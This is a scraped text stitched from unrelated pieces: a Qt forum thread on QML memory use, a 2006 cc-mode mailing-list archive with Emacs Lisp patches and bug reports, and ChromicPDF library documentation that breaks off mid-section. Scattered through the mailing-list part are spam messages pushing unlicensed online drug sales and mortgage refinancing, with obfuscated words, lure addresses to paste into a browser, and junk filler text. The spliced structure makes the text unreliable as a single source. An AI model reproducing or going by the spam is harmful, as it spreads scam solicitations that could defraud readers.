anchors.fill: parent opacity: 1 focus: false model: myModel delegate: Component{ Rectangle{ width: template.width height: 100 color: "grey" Text{ text: label } } } highlight: Rectangle { color: "black" } Component.onCompleted: opacity = 0; Behavior on opacity { NumberAnimation { duration: 100 onRunningChanged: if (!running) {template.parent.isEmpty = true;template.destroy();} } }
}
@
--
Serge
I've had some similar concerns about Loaders. In my code I'm constantly changing screens and using Loaders to create/destroy new/current screens. When I look at my memory manager (top and task manager) all I see is a climbing number. It never seems to go back down.
I think behind the scenes model-based QML elements also load visual elements dynamically.
I use visual leak detector on the Windows side and it reports no leaks. Is the cause a lazy garbage collection algorithm?
I've had similar problem about Loader and ListView, when I show and hide Page, contain Loaders with ListView, memory increase incremently, and not go down :(.
Could you help me ?
Many thanks
Hi,
A couple notes:
- Because of the way QML works, it is normal to see memory usage increase up to a point. This is due to things like image caches and a garbage collected JS environment. There is a gc() function you can call from QML to manually trigger a garbage collection, if you'd like to see if it helps.
- From memory there were a number of memory leaks fixed post 4.7.3, such as and. I'm not sure if these make any difference in your particular cases, but if you are able you could also try the 4.8 beta and see if things are improved there.
Regards,
Michael | https://forum.qt.io/topic/7944/memory-use-with-repeated-creation-destruction-of-listview-s | CC-MAIN-2018-05 | refinedweb | 561 | 51.34 |
119
How are you,
A11 Mmedsss are dispensed fr0m L!#cens#ed Ph@...#=
m@...
Can't get pre-scr!-bed med!!!c@...!!!0nsss you n=
eed?
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
copy the address below and paste in u your web browser:
Actinomyxidia.iyodopack.com
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
I scorned their words, I consulted with no one,.
Quite none?.
All you dark children in the world out there,=20.
Proudly, fearfully, hesitatingly I exhibited him to my friends..
A lizard named Ed is asleep in his bed,.
See you later,
Aubrey Stover
(setq mode-name '("C" c-submode-indicators))
isn't well supported (AFAIK in Emacs-CVS the only remaining problem is that
the help-echo, face, and mouse-face properties are overridden by the
ones applied generically to major mode name).
If there is some simple way to make this work better, that would be
fine with me. But I suspect it is rather hard.
I don't see why we cannot just make a new variable for this.
After all, CC Mode is an important feature of Emacs.
That's basically what mode-line-process is for.
It still needs text properties (help-echo) applying to it. Anyhow, see
what you think of the following:
I'd prefer that the version released in Emacs make a simple
reference to mode-line-modes.
We try to provide features to do the jobs that need doing, but we
cannot undertake to retroactively put them into old releases of Emacs.
Hi, Kim!
On Mon, 27 Feb 2006, Kim F. Storm wrote:
>Alan Mackenzie <acm@...> writes:
>> don't see why we cannot just make a new variable for this.
>After all, CC Mode is an important feature of Emacs.
Hey, do you want me to buy you a beer? ;-)
>Of course, this only works for 22.x and forward, but that's life :-)
Just like syntax-table text properties only work for Emacs 20.x forwards.
Even CC Mode won't be maintaining support for 21.x for ever. ;-)
>***.")
I'd be more emphatic in that doc-string: "Mode line format element for
displaying extra major-mode information. THIS SHOULD ALWAYS APPEAR TO
THE RIGHT OF VARIABLE `mode-name' WITHOUT INTERVENING SPACE.", or
something like that.
[ .... ]
>--
>Kim F. Storm <storm@...>
--
Alan Mackenzie (Munich, Germany)
>
Hello bug-cc-mode@...,
Hop onboard and get the pre-scr!-pt!0n dr#ugss that y=
ou need.
Wide selection of most popular med !c! nes 0n1!ne!
------------------------------------------------------------------------
copy the address below and paste in a your web browser:
afterthrift.grindscull.net
------------------------------------------------------------------------
My wife is asleep beside me..
The depressing answer -- not many -- is why many companies are getting ser=
ious about=20.
my pinky although quite a bit thicker. I played with him all day..
they advised me to consult a dermatologist..
That night will never be --.
Get back to you later,
Rosalyn Labovitz
With CC Mode 5.31.3 and GNU Emacs 22.0.50.71 (i686-pc-linux-gnu, X toolkit,
Xaw3d scroll bars) of 2006-02-25:
Sometimes I get error messages saying that c-subword-mode is a void variable.
c-subword-mode seems to be a function, so the patch below might be a fix.
--
Nick
*** cc-cmds.el 25 Feb 2006 17:51:43 +1300 1.44
--- cc-cmds.el 27 Feb 2006 11:43:36 +1300
*************** With universal argument, inserts the ana
*** 259,265 ****
(if c-hungry-delete-key "h" "")
(if (and
;; cc-subword might not be loaded.
! (boundp 'c-subword-mode)
(symbol-value 'c-subword-mode))
"w"
"")))
--- 259,265 ----
(if c-hungry-delete-key "h" "")
(if (and
;; cc-subword might not be loaded.
! (fboundp 'c-subword-mode)
(symbol-value 'c-subword-mode))
"w"
"")))'ve now got a solution, almost complete, to the CC Mode submode flags.
It works in Emacs 2[012] and XEmacs 21.4.4. My new functions walk
through mode-line-format, and insert c-submode-flags into whatever
appropriate structure, just after mode-name, making a buffer-local copy
of whatever.
It still needs text properties (help-echo) applying to it. Anyhow, see
what you think of the following:
#########################################################################
(defvar c-submode-indicators "/la"
"The dummy submode indicators for CC Mode")
(or (fboundp 'caddr)
(defun caddr (kons) (car (cdr (cdr kons)))))
(defun c-locate-mode-name (ml-form)
"In ML-FORM, a mode-line construct, locate the variable `mode-name'.
Returns:
\(i) (t . SYMBOL) if SYMBOL is the symbol within ml-form that directly
contains mode-name.
\(ii) The cons whose car is or generates mode-name.
\(iii) t if ml-form is an atom which is mode-name, or an eval: form which
generates it.
\(iv) nil, if we don't find it."
(let (rec-return
(mode-name "Ceci n'est pas un nom de mode."))
(cond
((null ml-form) nil)
((stringp ml-form)
(string= ml-form mode-name))
((symbolp ml-form)
(when (and (boundp ml-form)
(setq rec-return (c-locate-mode-name (symbol-value ml-form))))
(cond
((eq rec-return t) t) ; the symbol is `mode-name'.
((consp rec-return)
(if (eq (car rec-return) t)
rec-return ; a recursively included symbol.
`(t . ,ml-form)))))) ; `mode-name' is directly "in" this symbol.
((consp ml-form)
(cond
((eq (car ml-form) ':eval)
(if (string= mode-name (eval (cadr ml-form)))
t)) ; maybe we should test for string inclusion??
((symbolp (car ml-form))
(if (boundp (car ml-form))
(c-locate-mode-name (if (symbol-value (car ml-form))
(cadr ml-form)
(caddr ml-form)))))
(t
(while
(and ml-form
(not (setq rec-return (c-locate-mode-name (car ml-form))))
(consp (cdr ml-form)))
(setq ml-form (cdr ml-form)))
(if (and ml-form (not rec-return)) ; dotted pair at end of list (XEmacs)
(setq rec-return (c-locate-mode-name (cdr ml-form))))
(if (eq rec-return t)
ml-form
rec-return)))))))
(defun c-copy-tree (kons)
"Make a copy of the list structure, KONS, such that it is completely
distinct from the original list. Don't use on circular lists!"
(if (consp kons)
(cons (c-copy-tree (car kons))
(c-copy-tree (cdr kons)))
kons))
(defun c-splice-submode-indicators ()
(interactive) ; Remove this, eventually. FIXME!!!
(let (target-cons new-link symb)
;; Identify the variable we need to make buffer-local and copy.
(setq target-cons (c-locate-mode-name 'mode-line-format))
(unless (and (consp target-cons)
(eq (car target-cons) t))
(error "c-locate-mode-name, seeking symbol, returned %s" target-cons))
(setq symb (cdr target-cons))
;; Make a buffer local copy of this symbol's value.
(make-local-variable symb)
(set symb (c-copy-tree (symbol-value symb)))
;; Find the cons within this symbol which generates MODE-NAME.
(setq target-cons (c-locate-mode-name (symbol-value symb)))
(if (or (not (consp target-cons))
(eq (car target-cons) t))
(error "c-locate-mode-name, seeking cons, returned %s" target-cons))
;; Splice c-submode-indicators into the list structure.
(setcdr target-cons (cons 'c-submode-indicators (cdr target-cons)))))
#########################################################################
--
Alan Mackenzie (Munich, Germany)
Hey,
Get Cipro, Avandia, Prozac and more ONLINE!
It's easy to order from our site Worldwide.
*************************************************************
COPY the A ddress bel ow and Pastea in your Web browser:
ji.complymint.net
*************************************************************
9. Ninety six bottles of beer, three a's, three b's, one c, two d's, thirty
six e's, eight f's, three g's, eight h's, fifteen i's, one j, one k, five
l's, one m, nineteen n's, twelve o's, one p, one q, six r's, twenty five
s's, twenty t's, one u, seven v's, six w's, five x's, and five y's on the
wall..
14. Ninety six bottles of beer, three a's, three b's, one c, two d's,
twenty eight e's, seven f's, three g's, eight h's, thirteen i's, four l's,
sixteen n's, nine o's, nine r's, twenty six s's, twenty t's, four u's, four
v's, six w's, five x's, and five y's on the wall..
Best Regards,
Marta Black
Hi,)
Hi all,
The direct download link (Download) on page:
points to:
IMHO it should be:
Regards,
Giuseppe Castagno
On Fri, 24 Feb 2006, Alan Mackenzie wrote:
> When the mouse is left over the "/la", it still doesn't give sensible
> documentation. This is also still to do.
One thing I noticed while looking at mode-line-format was that
minor-mode-alist was included as folllows:
(:propertize
("" minor-mode-alist)
mouse-face mode-line-highlight help-echo "mouse-2: help for minor modes,
mouse-3: minor mode menu" local-map
(keymap
(header-line keymap
(down-mouse-3 . mode-line-mode-menu-1))
(mode-line keymap
(down-mouse-3 . mode-line-mode-menu-1)
(mouse-2 . mode-line-minor-mode-help))))
which seems to mean that any help-echo properties set in
c-submode-indicators, eg the follwing value for c-submode-indicators:
(:propertize "/l" help-echo "C Electricity")
are overwritten by the generic help in the first :propertize form above.
Perhaps if the handling of :propertize were altered so that the priority
of properties were inverted, ie the outer :propertize properties were only
applied to those substrings which did not already have those same properties
assigned by the inner forms, then things like the /la mouseover tooltips
would be easier to accomplish.
[ This may be undesirable for other reasons, I haven't looked deeply into
it, I just thought I'd make the suggestion ]?
Anyway, can't you achieve what you want with a local
binding for mode-line-modes? Or mode-line-process?
The following typedef describes the problem. It shows that when the =20
struct member is of a user defined type, the bitfield specification =20
causes the line syntax to be mistaken. The first struct member uses =20
a builtin type and the indentation is correct. This problem didn't =20
occur in version 5.28
typedef struct {
int chanCnt:5; // correct indentation
u_char_t chanCntRsvd:3; // INCORRECT indentation
} CbChanCnt_t;
Emacs : GNU Emacs 22.0.50.1 (i386-apple-darwin8.5.1, X toolkit)
of 2006-02-20 on Basil.local
Package: CC Mode 5.31 (Emacs-Lisp)
Buffer Style: nil
c-emacs-features: (pps-extended-state col-0-paren posix-char-classes =20
gen-string-delim gen-comment-delim syntax-properties 1-bit)
current state:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
(setq
c-basic-offset 'set-from-style
c-comment-only-line-offset 'set-from-style
c-indent-comment-alist 'set-from-style
c-indent-comments-syntactically-p 'set-from-style
c-block-comment-prefix 'set-from-style
c-comment-prefix-regexp 'set-from-style
c-doc-comment-style 'set-from-style
c-cleanup-list 'set-from-style
c-hanging-braces-alist 'set-from-style
c-hanging-colons-alist 'set-from-style
c-hanging-semi&comma-criteria 'set-from-style
c-backslash-column 'set-from-style
c-backslash-max-column 'set-from-style
c-special-indent-hook nil
c-label-minimum-indentation 'set-from-style
c-offsets-alist nil
c-buffer-is-cc-mode nil . =20
"gnu"))
c-enable-xemacs-performance-kludge-p nil
c-old-style-variable-behavior nil
defun-prompt-regexp nil
tab-width 8
comment-column 40
parse-sexp-ignore-comments t
parse-sexp-lookup-properties nil
auto-fill-function nil
comment-multi-line nil
fill-prefix nil
fill-column 70
paragraph-start "\f\\|[ ]*$"
adaptive-fill-mode t
adaptive-fill-regexp "[ ]*\\([-!|#%;>*=C2=B7=E2=80=A2=E2=80=A3=E2=81=
=83=E2=97=A6]+[ ]*\\|(?=20
[0-9]+[.)][ ]*\\)*"
)
On Fri, 24 Feb 2006, Sean O'Rourke wrote:
>Alan Mackenzie <acm@...> writes:
>>.
>Have you thought instead of mode-locally setting
>{beginning,end}-of-defun-function? This way, other commands like
>mark-defun that operate on functions automatically pick up the
>language-specific versions.
\(beginning\|end\)-of-defun-function can't get a prefix argument. In
Emacs 22, this is mitigated by calling the function in a loop. However,
in other (X)Emacsen, the numeric argument is simply discarded, so to use
[be]-o-d-f would mean testing for the existence of this loop, then
binding key sequences one of two ways. It's doable, but it's hassle.
The other problem is that the opportunity for optimisation would go out
the window: c-beginning-of-defun essentially moves back to the outermost
brace (very rapid operation) then gropes backwards to the start of the
function header (slow operation involving lengthy analysis). The easiest
optimisation with (c-beginning-of-defun 10) involves skipping back 10
brace blocks and only then finding the start of the header.
C-M-h isn't a problem in CC Mode, because it's bound to c-mark-function.
However, if mark-defun is called from a lisp function, that would be a
problem. Hmmm. Surely I should be setting
\(beginning\|end\)-of-defun-function AS WELL AS (not instead of) binding
C-M-[aeh]?
>I have been using this setting for
>about a year without any problems after making the attached
>trivial patch, which prevents infinite recursion when
>beginning-of-defun-function itself calls beginning-of-defun.
Hee hee! Good point. I think your patch should be installed right now.
Index: lisp.el
===================================================================
RCS file: /cvsroot/emacs/emacs/lisp/emacs-lisp/lisp.el,v
retrieving revision 1.74
diff -p -u -w -u -r1.74 lisp.el
--- lisp.el 6 Feb 2006 12:20:06 -0000 1.74
+++ lisp.el 24 Feb 2006 18:44:26 -0000
@@ -210,12 +210,14 @@ If variable `beginning-of-defun-function
is called as a function to find the defun's beginning."
(interactive "p")
(if beginning-of-defun-function
+ (let ((bodf beginning-of-defun-function)
+ (beginning-of-defun-function nil))
(if (> (setq arg (or arg 1)) 0)
(dotimes (i arg)
- (funcall beginning-of-defun-function))
+ (funcall bodf))
;; Better not call end-of-defun-function directly, in case
;; it's not defined.
- (end-of-defun (- arg)))
+ (end-of-defun (- arg))))
(and arg (< arg 0) (not (eobp)) (forward-char 1))
(and (re-search-backward (if defun-prompt-regexp
(concat (if open-paren-in-column-0-is-defun-start
@@ -255,12 +257,14 @@ is called as a function to find the defu
(push-mark))
(if (or (null arg) (= arg 0)) (setq arg 1))
(if end-of-defun-function
+ (let ((eodf end-of-defun-function)
+ (end-of-defun-function nil))
(if (> arg 0)
(dotimes (i arg)
- (funcall end-of-defun-function))
+ (funcall eodf))
;; Better not call beginning-of-defun-function
;; directly, in case it's not defined.
- (beginning-of-defun (- arg)))
+ (beginning-of-defun (- arg))))
(let ((first t))
(while (and (> arg 0) (< (point) (point-max)))
(let ((pos (point)))
--
Alan Mackenzie (Munich, Germany)
Hi,:. This is ugly, and I
don't find it an acceptable solution..).
Vlisagra $3.3
Levitora $3.3
Cialsis $3.7
Imitrmex $16.4
Falomax $2.2
Ultrnam $0.78
Viokxx $4.75
Amablem $2.2
VaIieum - $0.97
Xansax $1.09
Sonma $3
Meriedia $2.2
visit our website
___
Best regards,
Online Pharmaceuticals
qrngfjotul U0dUGVZSH15bUVRyVFpAH11BUw==
An apple a day keeps the doctor away.
A teacher is better than two books.
A bad excuse is better than none.
Hi, Yesudeep!
On Thu, 23 Feb 2006, Yesudeep wrote:
).
[ .... ]
>@interface
><end code>
>As soon as I press the final 'e' in @interface, Emacs stops
>responding. It should be noted, however, that if `@interface'
>is typed in between sections of code, Emacs works just fine.
It hangs when Font Lock is enabled and one of the keywords @interface,
@implementation or @protocol is typed at the very end of the buffer.
>The bug appears to affect Emacs on both GNU/Linux and
>Microsoft Windows systems. A detailed technical report follows.
[ full bug report much appreciated, and snipped. ]
Thanks for taking the trouble to report this bug, and thanks even more
for including the C-c C-b stuff. The bug has been reported already, and
fixed in CC Mode 5.31.3.
I'm expecting to merge CC Mode 5.31.3 into the Emacs CVS over the
weekend. However, assuming you don't want to wait that long, here is the
patch:
*************************************************************************
*** cc-engine.buggy.el Thu Dec 1 23:06:06 2005
--- cc-engine.el Mon Jan 16 11:53:54 2006
***************
*** 5990,5996 ****
;; Handle the name of the class itself.
(progn
! (c-forward-token-2)
(c-forward-type))
(catch 'break
--- 5990,5999 ----
;; Handle the name of the class itself.
(progn
! ; (c-forward-token-2) ; 2006/1/13 This doesn't move if the token's
! ; at EOB.
! (goto-char (match-end 0))
! (c-skip-ws-forward)
(c-forward-type))
(catch 'break
*************************************************************************
>Regards,
>Yesudeep.
--
Alan Mackenzie (Munich, Germany)
From: <yesudeep@...>
To: bug-cc-mode@...
Subject: CC Mode 5.31 (ObjC); Emacs stops responding when editing
Objective-C code with font-locking on.
X-Reporter-Void-Vars-Found: auto-fill-mode
--text follows this line--).
The build I am using is a recent (Wed Feb 22 IST 2006) CVS snapshot.
Other people using a more recent CVS build
(as of Thu Feb 23 11:51:43 CST 2006) have confirmed the existence of
the problem. Sample Objective-C code follows:
<begin code>
#import <stdio.h>
#import <objc/Object.h>
@interface
<end code>
As soon as I press the final 'e' in @interface, Emacs stops
responding. It should be noted, however, that if `@interface'
is typed in between sections of code, Emacs works just fine.
The bug appears to affect Emacs on both GNU/Linux and
Microsoft Windows systems. A detailed technical report follows.
Regards,
Yesudeep.
Emacs : GNU Emacs 22.0.50.1 (i386-mingw-nt5.1.2600)
of 2006-02-22 on HOME-DC6E7B893C
Package: CC Mode 5.31 (ObjC)
Buffer Style: gnu
c-emacs-features: (pps-extended-state col-0-paren posix-char-classes
gen-string-delim gen-comment-delim syntax-properties 1-bit)
current state:
==============
. "//+!?\\|\\**") (awk-mode . "#+")
(other . "//+\\|\\**"))
c-doc-comment-style '((java-mode . javadoc) (pike-mode . autodoc)
(c-mode . gtkdoc))
c-cleanup-list '(scope-operator)
c-hanging-braces-alist '((substatement-open before after)) 'objc-mode . "[ ]*\\(//+\\|\\**\\)[ ]*\\([
]*\\([-!|#%;>*·•???]+[ ]*\\|(?[0-9]+[.)][ ]*\\)*\\)"
)
How are you,
We cut your pAy~ment by 45%.
R3F1N@... your m0rrt g@@gee at a better Ra=
a te.
$338k for 345 pm, ve r Justo Giving away
******************************************************************
COPY the Address below and paste in your BROoWSER:
adenochondroma.lowestpay.net
******************************************************************
Huh? You say it's mine? Oh, dear,.
And Dollie -- gone!.
when we were sharing rooms as bachelors in Baker Street..
Lower, sullen and fast, athwart and down the sky,=20.
Of the apple her stepmother.
Best Regards,
Alphonso Kerry=20
How are you,
Shipped out to you within 48 h0urs.
Pay using a wide range of crr red I!t cards.
--------------------------------
copy the address below and paste in i your web browser:
bought.herownpc.com/?zz=3Dlowcost
--------------------------------
vali d for 24 hirs.
Than when -- a little dull Balm grown --.
A lizard named Ed is asleep in his bed,.
Hath been=97most familiar bird=97.
I am the woman who worked in the field=20.
flattened faces? Well, that's how Milverton impresses me.=20.
Regards,
Sonia Lewis
Hi,
Pain Relief (from $99)(Viicodin, Hydrocodoone, Valliium).
Worldwide Ship#piing.
--------------------------------
copy the address below and paste in a your web browser:
becrawl.herownpc.com/?zz=3Dlowcost
--------------------------------
vali d for 24 hars.
(Many the burials, many the days and nights, passing away,)=20.
ON the beach, at night,=20.
And the chair is becoming quite mucky and damp..
which I have for this fellow. And yet I can't get out of doing business.
growing their own leaders. In a world where top managers=20.
Thanks,
Taylor Martiniere | http://sourceforge.net/p/cc-mode/mailman/cc-mode-help/?viewmonth=200602 | CC-MAIN-2014-10 | refinedweb | 3,263 | 57.87 |
ChromicPDF (ChromicPDF v1.1.0) View Source
ChromicPDF is a fast HTML-to-PDF/A renderer based on Chrome & Ghostscript.
Usage
Start
Start ChromicPDF as part of your supervision tree:
def MyApp.Application do def start(_type, _args) do children = [ # other apps... {ChromicPDF, chromic_pdf_opts()} ] Supervisor.start_link(children, strategy: :one_for_one, name: MyApp.Supervisor) end defp chromic_pdf_opts do [] end end
Print a PDF or PDF/A
ChromicPDF.print_to_pdf({:url, ""}, output: "output.pdf")
PDF printing comes with a ton of options. Please see
ChromicPDF.print_to_pdf/2 and
ChromicPDF.convert_to_pdfa/2 for details.
Security Considerations
Before adding a browser to your application's (perhaps already long) list of dependencies, you may want consider the security hints below.
Escape user-supplied data
Make sure to escape any user-provided data with something like
Phoenix.HTML.html_escape.
Chrome is designed to make displaying HTML pages relatively safe, in terms of preventing
undesired access of a page to the host operating system. However, the attack surface of your
application is still increased. Running this in a containerized application with a small RPC
interface creates an additional barrier (and has other benefits).
Running in offline mode
For some apparent security bonus, browser targets can be spawned in "offline mode" (using the
DevTools command
Network.emulateNetworkConditions.
Chrome targets with network conditions set to
offline can't resolve any external URLs (e.g.
https://), neither entered as navigation URL nor contained within the HTML body.
def chromic_pdf_opts do [offline: true] end
Chrome Sandbox in Docker containers
By default, ChromicPDF will allow Chrome to make use of its own "sandbox" process jail. The sandbox tries to limit system resource access of the renderer processes to the minimum resources they require to perform their task.
However, in Docker containers running Linux images (e.g. images based on Alpine), and which are configured to run their main job as a non-root user, this causes Chrome to crash on startup as it requires root privileges to enter the sandbox.
The error output (
discard_stderr: false option) looks as follows:
Failed to move to new namespace: PID namespaces supported, Network namespace supported, but failed: errno = Operation not permitted
The best way to resolve this issue is to configure your Docker container to use seccomp rules that grant Chrome access to the relevant system calls. See the excellent Zenika/alpine-chrome repository for details on how to make this work.
Alternatively, you may choose to disable Chrome's sandbox with the
no_sandbox option.
defp chromic_pdf_opts do [no_sandbox: true] end
SSL connections
In you are fetching your print source from a
https:// URL, as usual Chrome verifies the
remote host's SSL certificate when establishing the secure connection, and errors out of
navigation if the certificate has expired or is not signed by a known certificate authority
(i.e. no self-signed certificates).
For production systems, this security check is essential and should not be circumvented.
However, if for some reason you need to bypass certificate verification in development or test,
you can do this with the
:ignore_certificate_errors option.
defp chromic_pdf_opts do [ignore_certificate_errors: true] end
Worker pools
ChromicPDF spawns two worker pools, the session pool and the ghostscript pool. By default, it will create as many sessions (browser tabs) as schedulers are online, and allow the same number of concurrent Ghostscript processes to run.
Concurrency
To increase or limit the number of concurrent workers, you can pass pool configuration to the supervisor. Please note that these are non-queueing worker pools. If you intend to max them out, you will need a job queue as well.
defp chromic_pdf_opts do [ session_pool: [size: 3] ghostscript_pool: [size: 10] ] end
Operation timeouts
By default, ChromicPDF allows the print process to take 5 seconds to finish. In case you are
printing large PDFs and run into timeouts, these can be configured configured by passing the
timeout option to the session pool.
defp chromic_pdf_opts do [ session_pool: [timeout: 10_000] # in milliseconds ] end
Automatic session restarts to avoid memory drain
By default, ChromicPDF will restart sessions within the Chrome process after 1000 operations.
This helps to prevent infinite growth in Chrome's memory consumption. The "max age" of a session
can be configured with the
:max_session_uses option.
defp chromic_pdf_opts do [max_session_uses: 1000] end
Chrome zombies
Help, a Chrome army tries to take over my memory!
ChromicPDF tries its best to gracefully close the external Chrome process when its supervisor is terminated. Unfortunately, when the BEAM is not shutdown gracefully, Chrome processes will keep running. While in a containerized production environment this is unlikely to be of concern, in development it can lead to unpleasant performance degradation of your operation system.
In particular, the BEAM is not shutdown properly…
- when you exit your application or
iexconsole with the Ctrl+C abort mechanism (see issue #56),
- and when you run your tests. No, after an ExUnit run your application's supervisor is not terminated cleanly.
There are a few ways to mitigate this issue.
"On Demand" mode
In case you habitually end your development server with Ctrl+C, you should consider enabling "On Demand" mode which disables the session pool, and instead starts and stops Chrome instances as needed. If multiple PDF operations are requested simultaneously, multiple Chrome processes will be launched (each with a pool size of 1, disregarding the pool configuration).
defp chromic_pdf_opts do [on_demand: true] end
To enable it only for development, you can load the option from the application environment.
# config/config.exs config :my_app, ChromicPDF, on_demand: false # config/dev.exs config :my_app, ChromicPDF, on_demand: true # application.ex @chromic_pdf_opts Application.compile_env!(:my_app, ChromicPDF) defp chromic_pdf_opts do @chromic_pdf_opts ++ [... other opts ...] end
Terminating your supervisor after your test suite
You can enable "On Demand" mode for your tests, as well. However, please be aware that each test that prints a PDF will have an increased runtime (plus about 0.5s) due to the added Chrome boot time cost. Luckily, ExUnit provides a method to run code at the end of your test suite.
# test/test_helper.exs ExUnit.after_suite(fn _ -> Supervisor.stop(MyApp.Supervisor) end) ExUnit.start()
Only start ChromicPDF in production
The easiest way to prevent Chrome from spawning in development is to only run ChromicPDF in
the
prod environment. However, obviously you won't be able to print PDFs in development or
test then.
Chrome Options
Custom command line switches
The
:chrome_args option allows to pass arbitrary options to the Chrome/Chromium executable.
defp chromic_pdf_opts do [chrome_args: "--font-render-hinting=none"] end
The
:chrome_executable option allows to specify a custom Chrome/Chromium executable.
defp chromic_pdf_opts do [chrome_executable: "/usr/bin/google-chrome-beta"] end
Debugging Chrome errors
Chrome's stderr logging is silently discarded to not obscure your logfiles. In case you would
like to take a peek, add the
discard_stderr: false option.
defp chromic_pdf_opts do [discard_stderr: false] end
Telemetry support
To provide insights into PDF and PDF/A generation performance, ChromicPDF executes the following telemetry events:
[:chromic_pdf, :print_to_pdf, :start | :stop | exception]
[:chromic_pdf, :capture_screenshot, :start | :stop | :exception]
[:chromic_pdf, :convert_to_pdfa, :start | :stop | exception]
Please see
:telemetry.span/3 for
details on their payloads, and
:telemetry.attach/4
for how to attach to them.
Each of the corresponding functions accepts a
telemetry_metadata option which is passed to
the attached event handler. This can, for instance, be used to mark events with custom tags such
as the type of the print document.
ChromicPDF.print_to_pdf(..., telemetry_metadata: %{template: "invoice"})
The
print_to_pdfa function emits both the
print_to_pdf and
convert_to_pdfa event series,
in that order.
How it works
PDF Printing
- ChromicPDF spawns an instance of Chromium/Chrome (an OS process) and connects to its "DevTools" channel via file descriptors.
- The Chrome process is supervised and the connected processes will automatically recover if it crashes.
- A number of "targets" in Chrome are spawned, 1 per worker process in the
SessionPool. By default, ChromicPDF will spawn each session in a new browser context (i.e., a profile).
- When a PDF print is requested, a session will instruct its assigned "target" to navigate to the given URL, then wait until it receives a "frameStoppedLoading" event, and proceed to call the
printToPDFfunction.
- The printed PDF will be sent to the session as Base64 encoded chunks.
PDF/A Conversion
- To convert a PDF to a PDF/A-3, ChromicPDF uses the ghostscript utility.
- Since it is required to embed a color scheme into PDF/A files, ChromicPDF ships with a copy of the royalty-free
eciRGB_V2scheme by the European Color Initiative. If you need to be able to use a different color scheme, please open an issue.
Link to this section Summary
Types
Functions
Captures a screenshot.
Returns a specification to start this module as part of a supervision tree.
Converts a PDF to PDF/A (either PDF/A-2b or PDF/A-3b).
Prints a PDF.
Prints a PDF and converts it to PDF/A in a single call.
Starts ChromicPDF.
Link to this section Types
blob()View Source
Specs
capture_screenshot_option()View Source
Specs
capture_screenshot_option() :: {:capture_screenshot, map()} | navigate_option() | output_option() | telemetry_metadata_option()
evaluate_option()View Source
Specs
ghostscript_pool_option()View Source
Specs
ghostscript_pool_option() :: {:size, non_neg_integer()}
global_option()View Source
Specs
global_option() :: {:offline, boolean()} | {:max_session_uses, non_neg_integer()} | {:session_pool, [session_pool_option()]} | {:no_sandbox, boolean()} | {:discard_stderr, boolean()} | {:chrome_args, binary()} | {:chrome_executable, binary()} | {:ignore_certificate_errors, boolean()} | {:ghostscript_pool, [ghostscript_pool_option()]} | {:on_demand, boolean()}
info_option()View Source
Specs
output_function()View Source
Specs
output_function() :: (blob() -> output_function_result())
output_function_result()View Source
Specs
output_option()View Source
Specs
output_option() :: {:output, binary()} | {:output, output_function()}
path()View Source
Specs
pdf_option()View Source
Specs
pdf_option() :: {:print_to_pdf, map()} | navigate_option() | output_option() | telemetry_metadata_option()
pdfa_option()View Source
Specs
pdfa_option() :: {:pdfa_version, binary()} | {:pdfa_def_ext, binary()} | info_option() | output_option() | telemetry_metadata_option()
return()View Source
Specs
return() :: :ok | {:ok, binary()} | {:ok, output_function_result()}
session_pool_option()View Source
Specs
session_pool_option() :: {:size, non_neg_integer()} | {:timeout, timeout()}
source()View Source
Specs
source_and_options()View Source
Specs
source_and_options() :: %{source: source(), opts: [pdf_option()]}
telemetry_metadata_option()View Source
Specs
url()View Source
Specs
wait_for_option()View Source
Specs
Link to this section Functions
capture_screenshot(input, opts \\ [])View Source
Specs
capture_screenshot(url :: source(), opts :: [capture_screenshot_option()]) :: return()
Captures a screenshot.
This call blocks until the screenshot has been created.
Print and return Base64-encoded PNG
{:ok, blob} = ChromicPDF.capture_screenshot({:url, ""})
Options
Options to the
Page.captureScrenshot
call can be passed by passing a map to the
:capture_screenshot option.
ChromicPDF.capture_screenshot( {:url, ""}, capture_screenshot: %{ format: "jpeg" } )
For navigational options (source, cookies, evaluating scripts) see
print_to_pdf/2.
child_spec(config)View Source
Specs
child_spec([global_option()]) :: Supervisor.child_spec()
Returns a specification to start this module as part of a supervision tree.
convert_to_pdfa(pdf_path, opts \\ [])View Source
Specs
convert_to_pdfa(pdf_path :: path(), opts :: [pdfa_option()]) :: return()
Converts a PDF to PDF/A (either PDF/A-2b or PDF/A-3b).
Convert an input PDF and return a Base64-encoded blob
{:ok, blob} = ChromicPDF.convert_to_pdfa("some_pdf_file.pdf")
Convert and write to file
ChromicPDF.convert_to_pdfa("some_pdf_file.pdf", output: "output.pdf")
PDF/A versions & levels
Ghostscript supports both PDF/A-2 and PDF/A-3 versions, both in their
b (basic) level. By
default, ChromicPDF generates version PDF/A-3b files. Set the
pdfa_version option for
version 2.
ChromicPDF.convert_to_pdfa("some_pdf_file.pdf", pdfa_version: "2")
Specifying PDF metadata
The converter is able to transfer PDF metadata (the
Info dictionary) from the original
PDF file to the output file. However, files printed by Chrome do not contain any metadata
information (except "Creator" being "Chrome").
The
:info option of the PDF/A converter allows to specify metatadata for the output file
directly.
ChromicPDF.convert_to_pdfa("some_pdf_file.pdf", info: %{creator: "ChromicPDF"})
The converter understands the following keys, all of which accept only String values:
:title
:author
:subject
:keywords
:creator
:creation_date
:mod_date
By specification, date values in
:creation_date and
:mod_date do not need to follow a
specific syntax. However, Ghostscript inserts date strings like
"D:20200208153049+00'00'"
and Info extractor tools might rely on this or another specific format. The converter will
automatically format given
DateTime values like this.
Both
:creation_date and
:mod_date are filled with the current date automatically (by
Ghostscript), if the original file did not contain any.
Adding more PostScript to the conversion
The
pdfa_def_ext option can be used to feed more PostScript code into the final conversion
step.
ChromicPDF.convert_to_pdfa( "some_pdf_file.pdf", pdfa_def_ext: "[/Title (OverriddenTitle) /DOCINFO pdfmark", )
print_to_pdf(input, opts \\ [])View Source
Specs
print_to_pdf(input :: source() | source_and_options(), opts :: [pdf_option()]) :: return()
Prints a PDF.
This call blocks until the PDF has been created.
Output options
Print and return Base64-encoded PDF
{:ok, blob} = ChromicPDF.print_to_pdf({:url, ""}) # Can be displayed in iframes "data:application/pdf;base64,\#{blob}"
Print to file
:ok = ChromicPDF.print_to_pdf({:url, ""}, output: "output.pdf")
Print to temporary file
{:ok, :some_result} = ChromicPDF.print_to_pdf({:url, ""}, output: fn path -> send_download(path) :some_result end)
The temporary file passed to the callback will be deleted when the callback returns.
Input options
